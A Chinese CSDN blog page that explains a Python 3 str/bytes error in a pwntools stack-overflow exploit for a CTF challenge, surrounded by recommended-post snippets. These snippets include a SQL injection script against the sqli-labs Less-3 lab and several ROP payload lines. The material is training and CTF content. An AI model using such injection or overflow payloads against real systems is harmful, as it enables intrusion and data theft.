字符串编码解决python3 payload=‘a‘ +p64(1926)报错问题

最新推荐文章于 2025-02-27 20:37:56 发布

原创

最新推荐文章于 2025-02-27 20:37:56 发布 · 7.5k 阅读

30 ·

CC 4.0 BY-SA版权

这是基于一些PWN题实战发现的问题

先对题目进行简述，简单的栈溢出，要求在填充八个字节以后用int类型1926对后面四个字节进行覆盖

先上代码以及报错信息

from pwn import*
r = remote("220.249.52.133",47338)
payload='aaaaaaaa'
payload += p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
r.interactive()

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

yongbaoii

关注关注

15
点赞
踩
30

收藏

觉得还不错? 一键收藏
6
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

生成 Payload 的过程（Python）

JieLun_C的博客

09-08

1750

在网络安全领域中，Payload 是指在利用漏洞或攻击目标时所使用的特定数据或代码块。生成 Payload 的过程通常涉及构造恶意代码、利用漏洞或设计特定的数据结构。本文将介绍使用 Python 生成 Payload 的一般步骤，并提供相应的源代码示例。生成 Payload 是一个复杂且技术密集的过程，需要深入了解相关的漏洞和攻击技术。然后，我们使用 UTF-8 编码将 Payload 转换为字节流，并打印生成的 Payload。根据 Payload 的目标和用途，需要构造特定的数据结构来实现所需的功能。

100天精通Python（爬虫篇）——第114天：爬虫基础模块之requests基础入门

热门推荐

努力让自己发光，对的人才能迎着光而来

06-27

11万+

一、request模块大总结 1. 下载安装 2. 常用属性或方法 3. response.text和response.content的区别: 4. 发送带headers参数请求 5. 发送带参数请求 6. 在headers参数中携带cookie 7. 超时参数timeout的使用 8. proxies代理参数的使用 9. 发送post请求...............

6 条评论您还未登录，请先登录后发表或查看评论

使用p64()时报错：TypeError: can only concatenate str (not “bytes“) to str

qq_39772215的博客

11-28

2150

使用p64()时报错：TypeError: can only concatenate str (not “bytes”) to str 解决: 在后面加上 decode(‘unicode_escape’) 如： p64(0x00400596).decode('unicode_escape')

Python语法学习

weixin_44390790的博客

04-29

1277

python中 * 还可以用于字符串（字符串要放在“”里面）的指定次数输出可以用（）来调整计算的优先级 P49 程序的执行原理 P50 Python执行原理 P51程序就是处理数据的 P52 变量是用来保存数据的 P53 变量的定义每个变量在使用前必须赋值 字符串要用一对引号括起来 ...

pwn程序已经运行了，payload字节数组包含不可见字符，无法进行utf8编码，这个时候怎么输入？

键盘的起始页

04-17

1148

如果你想要使用 Python 脚本向一个已经运行的程序发送包含不可见字符的 payload，你需要确保你有一种方法来将 Python 脚本的输出重定向到该程序的输入。如果你的程序已经在运行，并且你可以使用 GDB 附加到进程，那么你可以使用 GDB 来修改内存或者调用函数来发送你的 payload。在实践中，如果你没有权限或者无法确定程序的 PID，或者程序不是从标准输入读取数据，你可能需要考虑使用其他的方法（比如 GDB 或者修改程序的运行方式来接受来自特定管道或文件的输入）。目录下的文件描述符来写入。

64 函数介绍

Blog of Lytracy

11-30

902

文章目录1、什么是函数2、想一想3、小结 1、什么是函数为了避免多次重写相同的代码，把具有独立功能模块的代码块组织为一个模块，称为函数。所以函数是具有独立功能的代码块。函数是组织好的，可重复使用的，用来实现单一，或相关联功能的代码段。函数能提高应用的模块性，代码的编写效率和代码的重复利用率。我们已经知道Python提供了许多内建函数，用于输出的print()函数、用于输入的input()函数及用于生成一系列整数的range()函数，这些Python内置的标准函数，可以直接使用。除了可以直接使用的标准函

macos python3 pwntools 报错

CODER的博客

01-05

794

在尝试使用pwntools的asm模块报错 from pwn import * payload = asm(shellcrash.sh()) 报错如下 Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/Users/godspeed/Library/Python/3.7/lib/python/site-packages/pwnlib/context/__init__.py

Python3编码技巧大揭秘：让payload报错成为历史，专家分享20年经验

[Python3编码技巧大揭秘：让payload报错成为历史，专家分享20年经验](https://www.delftstack.com/img/Python/ag-feature-image---convert-unicode-to-ascii-python.webp) # 1. Python3编码基础与常见错误解析 ...

Python编码实战：如何处理和修复payload中的编码错误，详解9个关键步骤

[字符串编码解决python3 payload=‘a‘ +p64(1926)报错问题](https://files.realpython.com/media/encode-decode.3e665ad9b455.png) # 1. 编码错误处理概述在当今数字化时代，软件系统无时无刻不在处理数据。数据...

import requests # 定义目标 URL url = 'http://10.22.116.220/sqli/Less-3/' # 构造基本的注入载荷 base_payload = "id=-1') union select {0},{1},{2} --+" # 第一步：判断列数 column_count = 1 while True: payload = base_payload.format('null' * (column_count - 1), 'user()', 'null' * (column_count - 1)) full_url = url + f"?id={payload}" response = requests.get(full_url) if response.status_code == 200 and 'root' in response.text: break column_count += 1 print(f"发现列数: {column_count}") # 第二步：获取数据库名 payload = base_payload.format('null' * (column_count - 2), 'database()', 'null') full_url = url + f"?id={payload}" response = requests.get(full_url) if response.status_code == 200: start_index = response.text.find('root@localhost') + len('root@localhost') end_index = response.text.find('<', start_index) database_name = response.text[start_index:end_index].strip() print(f"数据库名: {database_name}") import requests # 定义目标 URL url = 'http://192.168.38.132:32769/Less-3/' # 构造基本的注入载荷 base_payload = "id=-1') union select {0},{1},{2} --+" # 第一步：判断列数 column_count = 1 while True: payload = base_payload.format('null' * (column_count - 1), 'user()', 'null' * (column_count - 1)) full_url = url + f"?id={payload}" response = requests.get(full_url) if response.status_code == 200 and 'root' in response.text: break column_count += 1 print(f"发现列数: {column_count}") # 第二步：获取数据库名 payload = base_payload.format('null' * (column_count - 2), 'database()', 'null') full_url = url + f"?id={payload}" response = requests.get(full_url) if response.status_code == 200: start_index = response.text.find('root@localhost') + len('root@localhost') end_index = response.text.find('<', start_index) database_name = response.text[start_index:end_index].strip() print(f"数据库名: {database_name}") 最后的结果是发现列数: 2 数据库名: l PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 这里的数据库我想要直接的到名字，而不是一串字符，要怎么弄

最新发布

11-02

用户说："我想解决使用 SQL 注入脚本获取数据库名时，得到的结果包含多余字符，想要直接获取数据库名的问题"。意思是，用户编写的SQL注入脚本在获取数据库名时，返回的结果包含额外的字符，而不是直接显示数据库名。...

pwn 做题出现的问题

qq_53086690的博客

05-07

928

看网上的一些exp是'a' * 15 + p64(0x401186)这样写的但是自己运行的时候会报错 can only concatenate str (not “bytes”) to str 在网上查了一下是python版本的问题只要在a的前边加上b就可以了b'a' * 15 + p64(0x401186) ...

从零开始的python学习（五）P63+P64+P65+P66

m0_57826786的博客

02-27

356

本文章记录观看B站python教程学习笔记和实践感悟，视频链接：【花了2万多买的Python教程全套，现在分享给大家，入门到精通(Python全栈开发教程)】 https://www.bilibili.com/video/BV1wD4y1o7AS/?上节课学习了本单元的四个实战题（实战一千年虫是什么虫，实战二模拟京东的购物流程，实战三模拟12306购票流程，实战四模拟手机通讯录），本节课学习字符串的常用方法（1和2），格式化字符串的三种方式和format详细格式控制。

pwntools：类型转换

m0_53932372的博客

09-08

7030

byte和str 首先一定要注意，byte和str在python里面有明确的区分，尤其是在做pwn的题目时，一定要注意这个问题。参考链接：https://www.cnblogs.com/mlgjb/p/7899534.html hex hex(x) x -- 10进制整数返回16进制数，以字符串形式表示。 p32、p64 p32(x) x-- 一个整型数据返回byte型。 u32、u64 u32(x) x-- byte型返回整型。 int类型转换 int(a,base=x)

Python 之 Base64 编码介绍及自定义函数进行编码

weixin_44983653的博客

02-13

3110

Base64 编码介绍及自定义函数进行编码1、 Base64 介绍2、Base64 编码规则3、Base64 字符表4、Base64 示例5、使用`Python`实现对一段字符串进行`Base64`编码5.1 思路5.2 代码 1、 Base64 介绍基于64个可打印字符来表示二进制数据 Base64是网络上最常见的用于传输8Bit字节码的编码方式之一，Base64就是一种基于64个可打印字符来表示二进制数据的方法 Base64编码是从二进制到字符的过程，可用于在HTTP环境下传递较长的标识信息。采用B

python3笔记6--函数的使用

qq_45285376的博客

12-17

285

python3笔记–函数的使用 1、定义函数： def 函数名(参数列表)：函数体形参–函数完成其工作所需的一项信息实参–调用函数时传递给函数的信息 def name(username):#函数内部的参数为形参 print('姓名：' , username.title()) name('alice')#调用函数时，传递给函数的信息输出：姓名： Alice 2、参数传递： ①位置参数：传入的参数(实参)按照形参的顺序传递。注1：若是实参类型是同一类型，则结果会与预期不符。注2：如果

[N1BOOK PARTofPWN] ROP本地

Tokameine的博客

07-17

416

这道题在BUU远程服务器上没能通过，只是在本地测试成功了，该问题将留到最后去，还请知道的大佬指教。 ------------------------------------------------ 首先先查询一下保护，只有NX a@ubuntu:~/Desktop/test$ checksec rop [*] '/home/giantbranch/Desktop/test/rop' Arch: amd64-64-little RELRO: ...

python字符串p64-73

2301_79611133的博客

01-22

360

strip将字符串开头和末尾的空白（但不包括中间的空白）删除，并返回删除后的结果。.ljust(10)或.center(10, 'X')或.rjust(10)header_fmt：分段定好长度，将'Item'和'Price'填进不同段。对于各种十进制数，它要求必须包含小数点（对于类型g，它保留小数点后面的零）join功能：print下只有\\能输出\，\\\和\都是错误输入。{:{}}}为一组，{:{}}为填入的，{}因为填进去的是变量。这个方法只删除开头或末尾的指定字符，因此中间的星号未被删除。

Cherno C++系列笔记22——P64~P65 多维数组、std::sort排序

qq_42731705的博客

04-07

1982

文章目录1.P64 多维数组1.1.二维数组的内存分配和初始化1.1.1.内存分配1.1.2.初始化1.2.二维数组的内存释放1.3.三维数组1.4.尽量使用一维数组代替多维数组提高内存访问效率1.4.1.缓存命中和缓存不命中1.4.2.用一维数组代替二维数组 1.P64 多维数组参考：视频笔记 1.1.二维数组的内存分配和初始化 1.1.1.内存分配多维数组实际上就是数组的数组，是数组的集合，可以用指针处理数组。如下代码： #include<iostream> int main() {

[PWN]——栈溢出中32位与64位区别

ysy___ysy的博客

01-18

865

【payload = b'a'*(0x2d+4)+ p32(mprotect_addr)+ p32(pop3_ret_addr) +p32(addr) + p32(0x100)+p32(0x7)】[利用pop3_ret将mprotect函数所需三个参数传递过去]【payload = b'a'*（0xe7+4）+p32(write_plt)+p32(p_main) + p32(1)+p32(write_got)+p32(4)】（调用write函数输出write_got地址)